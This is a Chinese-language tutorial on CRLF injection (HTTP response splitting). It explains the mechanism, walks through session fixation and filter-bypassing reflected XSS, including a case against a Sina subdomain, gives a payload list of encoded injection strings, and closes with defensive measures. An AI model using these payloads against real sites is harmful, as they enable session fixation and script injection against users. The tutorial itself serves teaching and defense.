Web安全-HTTP响应拆分(CRLF注入)漏洞
漏洞简介
CRLF 是 CR 和 LF 两个字符的拼接，它们分别代表 “回车+换行”（\r），全称为 “Carriage Return/Line Feed”，十六进制编码分别为0x0d 和 0x0a，URL编码为 %0D 和 %0A 。CR 和 LF 组合在一起即 CRLF 命令，它表示键盘上的 “Enter” 键，许多应用程序和网络协议使用这些命令作为分隔符。
在 HTTP 协议中，HTTP header 之间是由一个 CRLF 字符序列分隔开的，HTTP Header 与 Body 是用两个 CRLF 分隔的，浏览器根据这两个 CRLF 来取出 HTTP 内容并显示出来。
所以如果用户的输入在 HTTP 返回包的 Header 处回显，便可以通过 CRLF 来提前结束响应头，在响应内容处注入攻击脚本。因此 CRLF Injection 又叫 HTTP 响应拆分/截断（HTTP Response Splitting，简称HRS）。
此处可以在本地测试一下 CRLF 字符的作用，如输入111%0d%0a222%0d%0a%0d%0a333，能看到插入一个 CRLF 字符和两个 CRLF 字符依次的作用是换行和插入空行：
CRLF 注入漏洞的本质和 XSS 有点相似，攻击者将恶意数据发送给易受攻击的 Web 应用程序，Web 应用程序将恶意数据输出在 HTTP 响应头中（XSS一般输出在主体中）。所以 CRLF 注入漏洞的检测也和 XSS 漏洞的检测差不多。通过修改 HTTP 参数或 URL，注入恶意的 CRLF，查看构造的恶意数据是否在响应头中输出。
漏洞利用
根据插入的 CRLF 的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。
会话固定
正常一般网站会在 HTTP 头中用 Location: ip 这种方式来进行302跳转，所以攻击者可以构造恶意的 CRLF 字符控制的内容就是Location:后面的内容！
一个正常的 302 跳转包是这样：
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn
但如果我们输入的是：
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyu
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个 SESSION，造成一个“会话固定漏洞”。
XSS攻击
当然，HRS 并不仅限于会话固定，通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS。
比如一个网站接受 url 参数 http://test.sina.com.cn/?url=xxx，xxx 放在 Location 后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a
返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location:
之前说了浏览器会根据第一个 CRLF 把 HTTP 包分成头和体，然后将体显示出来。于是我们这里这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器 Filter 的？
这里涉及到另一个问题。浏览器的 Filter 是浏览器应对一些反射型XSS做的保护策略，当 url 中含有 XSS 相关特征的时候就会过滤掉不显示在页面中，所以不能触发 XSS。怎样才能关掉 filter？一般来说用户这边是不行的，只有数据包中 http 头含有X-XSS-Protection 并且值为 0 的时候，浏览器才不会开启 filter。
说到这里应该就很清楚了，HRS 不正是注入 HTTP 头的一个漏洞吗，我们可以将 X-XSS-Protection:0 注入到数据包中，再用两个 CRLF 来注入 XSS 代码，这样就成功地绕过了浏览器 filter，并且执行我们的反射型 XSS。所以说 HRS 的危害大于 XSS，因为它能绕过一般 XSS 所绕不过的 filter，并能产生会话固定漏洞。
综上，当我们输入两次%0d时，响应头和响应正文会进行分离，就可以构成反射型 xss，Payload 如下
http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0aalert('xss')
响应包：
HTTP/1.1 200 OKContent-Type: text/html Connection: close set-cookie: X-XSS-Protection: 0
alert('xss')
实战案例
来一个真实案例， 新浪某分站含有一个 url 跳转漏洞，危害并不大，于是我就想到了 CRLF Injection，当我测试：
http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E
发现图片已经输出在页面中了，说明 CRLF 注入成功了：
那么我们试试 XSS 看看：
看控制台，果然被 XSS Filter 拦截了。
那么我们就注入一个：
X-XSS-Protection:0
到数据包中，看看什么效果：
挖掘技巧
挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的 “输入” 和 “输出” 位置，对于 CRLF 则是观察返回的各种类型的协议头，所以挖掘分三步：
1. 观察输出是否在返回头中，查看输入，可能是在 URL 值和参数、cookie 头中，在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和 302 跳转 location 处；
2. 提交 %0D%0A 字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过；
3. 漏洞利用，使杀伤最大化，将漏洞转化为 HTML 注入，XSS，缓存 等。
附上 CRLF Payload：
//探测漏洞：%0d%0aheader:header%0aheader:header%0dheader:header%23%0dheader:header%3f%0dheader:header/%250aheader:header/%250aheader:header/%%0a0aheader:header/%3f%0dheader:header/%23%0dheader:header/%25%30aheader:header/%25%30%61header:header/%u000aheader:header
//开放重定向：/www.google.com/%2f%2e%2e%0d%0aheader:header
//CRLF-XSS：%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e
//XSS绕过：%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
//Location：%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
漏洞防御
要避免 http 响应截断，需要注意以下几点：
1. 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的 CR 和 LF，或者对 CR 和 LF 字符正确编码后再输出，以防止注入自定义 HTTP 头；
2. 创建安全字符白名单，只接受白名单中的字符出现在 HTTP 响应头文件中；
3. 在将数据传送到 http 响应头之前，删除所有的换行符。
